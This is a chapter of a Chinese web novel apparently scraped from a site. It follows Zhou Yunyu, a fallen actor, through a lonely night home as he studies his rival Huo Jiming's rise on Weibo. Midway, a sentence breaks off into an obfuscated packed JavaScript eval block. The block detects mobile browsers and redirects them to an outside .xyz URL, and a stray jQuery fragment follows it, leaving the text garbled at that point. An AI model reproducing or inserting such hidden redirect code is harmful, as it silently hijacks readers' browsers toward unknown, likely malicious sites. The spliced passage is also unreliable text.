车子平稳地行驶在回市区的路上。路灯的光晕透过车窗，在周韫玉脸上投下明明暗暗的阴影。
他靠在副驾驶的椅背上，手里捏着几张叠得整整齐齐的信纸——那是刚才在机场，小雨她们塞给他的信。指尖还能感受到纸张的粗糙和上面残留的温度。
袁西开着车，一边偷瞄周韫玉的脸色，一边讪讪地解释，声音在安静的车厢里显得格外清晰：
“那个……小周啊，真不是哥故意吓你。你是不知道，我当时在出口那儿，看到一群人聚在一起，探头探脑的，还拿着手机像是在查航班信息……我、我下意识就过去问了句‘你们等谁啊？’结果人家特严肃地说‘等周韫玉！’”
袁西说着，自己都觉得有点好笑又有点尴尬，挠了挠头：
“你是不知道我当时那个心情！跟见了鬼似的！自从我接手你以来，别说接机了，机场路上连个认出你的人影都没有！这冷不丁冒出一群说是等你的……我、我第一反应就是‘坏了！黑粉组团来堵人了！’这也不能怪我吧？这情况，搁谁谁不懵啊？”
他顿了顿，语气带着点不可思议的感慨：
“谁知道呢……嘿！人家居然是真爱粉！还是跟了你那么多年的老粉！这可真是……太阳打西边出来了！”
袁西的语气里，有惊讶，有庆幸，也有一丝不易察觉的复杂。他透过后视镜看了看周韫玉，发现对方闭着眼睛，呼吸均匀，似乎已经睡着了。
袁西剩下的话都咽了回去，无奈地笑了笑，把车内空调调高了一点，专心开车。车子汇入城市的车流，霓虹闪烁，喧嚣隔着车窗玻璃，显得遥远又不真实。
周韫玉其实没完全睡着。
他只是太累了。身体像被掏空，精神也透支到了极限。袁西的话断断续续飘进耳朵里，他听了个大概，心里没什么波澜。黑粉也好，真爱粉也罢，都像是另一个世界的事情。
他现在只想找个地方，彻底放空。
车子最终停在周韫玉租住的公寓楼下。袁西本想送他上去，被他摆摆手拒绝了。他背上背包，拿着那几封信，慢吞吞走回家里。
打开家门，一股冰冷、空旷、带着淡淡灰尘味道的空气扑面而来。
他把背包随手扔在玄关的地上，连灯都懒得开全，只开了客厅一盏昏暗的落地灯。
暖黄的光线勉强驱散一小片黑暗，反而更衬得整个屋子空旷寂静，没有一丝烟火气。空气里只有他自己轻微的脚步声和呼吸声。
他像是早就习惯了这种死寂。踢掉鞋子，赤脚踩在冰凉的地板上，径直走向卧室，把自己重重地摔进柔软的大床里。脸埋进枕头，连衣服都没脱，意识就迅速沉入了黑暗。
再次睁开眼，窗外已是漆黑一片。只有远处城市零星的光点，透过厚重的窗帘缝隙透进来一点微光。房间里黑得伸手不见五指。
周韫玉摸到手机，按亮屏幕。刺眼的光让他眯了眯眼。晚上十一点半。他这一觉，直接从下午睡到了深夜。
胃里传来一阵空虚的绞痛。他撑着坐起身，头还有点昏沉。摸索着打开床头灯，昏黄的光线照亮了房间一角。
他起身，赤脚走到厨房。
厨房很大，很干净，干净得过分。冰箱打开，里面除了几瓶矿泉水和几罐啤酒，空空如也。橱柜里，翻找半天，只找到半包挂面和一小袋已经有点蔫巴的小葱。
行吧。他扯了扯嘴角，熟练地烧水，下面。
几分钟后，一碗清汤寡水的素面就端上了桌。他坐在空旷的餐厅里，巨大的餐桌只占了小小一角。他吹了吹面汤上漂浮的几粒葱花，热气氤氲了他没什么表情的脸。
这样的生活，他已经过了四年。
从云端跌落，被全网唾骂，代言解约，戏约全无。圈内那些曾经称兄道弟的朋友，一夜之间消失得无影无踪，电话不接，微信拉黑，仿佛从未认识过他。
至于父母……周韫玉眼神暗了暗，舀起一勺面汤，没什么滋味地喝了一口。
那对能在他十八岁就让他退学进娱乐圈捞钱，又在他事业崩塌时第一时间登报声明断绝亲子关系、生怕被他连累的父母……呵。
这几年，他们就像人间蒸发，是死是活，他不在意，他们更不在意。
这偌大的城市，这冰冷的房子，只有他一个人。像一座孤岛。
手机屏幕亮了一下，是袁西发来的微信。
“韫玉啊，睡醒了吧？那个……有个事，我下午在机场太激动给忘了。就是之前我不是提前回来给你找合作嘛……跑了好几家，也见了几个制片人和导演……但是……嗯……有好几个都没谈下来。人家那边……暂时没有合适的项目。不过你别急啊！我这边还在努力！再看看！肯定能找到合适的！你放心！”
周韫玉看着屏幕上的文字，疲惫地揉了揉眉心。
意料之中。这些年，他努力过不止一次。袁西带着他，跑遍了大小公司，见了无数导演、制片人，姿态放得不能再低。结果呢？要么是客气的敷衍，要么是隐晦的拒绝，要么就是些不入流、纯粹想消费他黑历史的网剧。
没用。娱乐圈就是这么现实，你糊了，就什么都不是。
他放下手机，没什么胃口地又扒拉了两口面条。面条有点坨了，口感很差。
他起身去给自己接了杯冷水，咕咚咕咚灌下去，冰凉的液体滑过喉咙，带来一丝短暂的清醒。
重新拿起手机，他点开应用商店，下载了微博。既然选择了要回到这个圈子，要重新站上舞台，他就不能再像过去四年那样，把自己彻底封闭起来，两耳不闻窗外事。
他需要了解风向，了解对手，了解这个瞬息万变的圈子。必要的时候，他得学会炒作，学会蹭热度，学会用那些他曾经嗤之以鼻、认为肮脏的手段。他
已经二十五了，不再是那个可以任性，可以清高的少年。
娱乐圈从来不缺新鲜血液，比他小的、比他帅的、背景干净的、没有黑料的……一抓一大把。他凭什么翻红？
登录那个尘封已久的小号。这个号是他当年刚出道时偷偷注册的，连袁西都不知道。里面空空如也，没有关注任何人，也没有发过任何东西。像一个幽灵账号。
他开始漫无目的地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438366|185001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刷着热搜榜。看着那些陌生的名字、新奇的梗、无聊的八卦占据着前排。
一切都那么陌生。他点开几个当红小生的主页，看着他们光鲜亮丽的照片和动辄百万的转发评论，心里没什么波澜。，只有一种冰冷的计算：这个路线能不能借鉴？那个话题能不能蹭？
翻着翻着，一个熟悉的名字猝不及防地撞入眼帘——霍既明。
周韫玉的手指顿住了。那个在节目里跟他针锋相对，最后却莫名其妙救了他一命的家伙。
鬼使神差地，他点进了霍既明的微博主页。这次他确认了好几遍，自己登的是小号。
霍既明的微博和他本人一样，透着一股子“我很拽”的气息。内容不多，大多是官方宣传照，偶尔有几张生活碎片，构图讲究，色调冷淡。配文也言简意赅，惜字如金。
周韫玉没什么兴趣看他的近况，手指滑动，开始往下翻，翻到他更早的微博。
他这才知道，原来霍既明是顶尖电影学院表演系科班出身。还没毕业，就参演了几部电视剧，虽然都是些镶边配角，但履历也算干净漂亮。
看那时候的照片，眉眼间还带着点青涩，但那股子冷傲劲儿已经初现端倪。
然后，时间线出现了一个明显的断层。大约在四年前，也就是周韫玉事业彻底崩塌的那段时间前后，霍既明的微博有将近一年的时间，几乎没有任何更新。
没有新作品宣传，没有生活分享，一片空白。
周韫玉有些好奇，切出去用浏览器搜索“霍既明空白期”、“霍既明消失一年”之类的关键词。
结果出乎意料，网上关于这段时间的信息寥寥无几，只有零星几个粉丝论坛的旧帖，猜测他是不是去进修了，或者家里有事。没有任何实质性的报道或解释。
再后来，时间跳转到空白期结束。霍既明像是突然开了挂。
他参演了一部名不见经传的小成本文艺片，饰演一个戏份不多但极其出彩的配角。就是这部电影，意外地在国外一个小电影节上拿了奖，口碑发酵，在国内也引起了不小的关注。
霍既明那张极具辨识度的脸和冷冽的气质，瞬间抓住了观众的眼球。紧接着，资源飞升，男主戏约不断，短短几年，就坐稳了当红小生的位置。
周韫玉看着屏幕上霍既明意气风发的电影海报和领奖照片，再看看自己碗里那坨冷掉的面条，心里涌起一股难以言喻的滋味。
空白期？消失一年？
是去国外镀金了？还是家里有矿回去继承家业了？或者……只是单纯运气好，被某个大佬看中雪藏起来秘密培训了一年？
无论哪种，看起来都没吃什么苦头。
再看看自己这四年……全网黑，众叛亲离，父母断绝关系，在娱乐圈查无此人，挣扎求生……
一股强烈的、带着酸涩和不甘的情绪冲上心头。
周韫玉把手机“啪”地一声扣在餐桌上，发出清脆的响声。他盯着那碗毫无食欲的面条，眼神冰冷。
果然是个没经历过什么挫折，顺风顺水、不知人间疾苦的大少爷！才会这么讨！厌！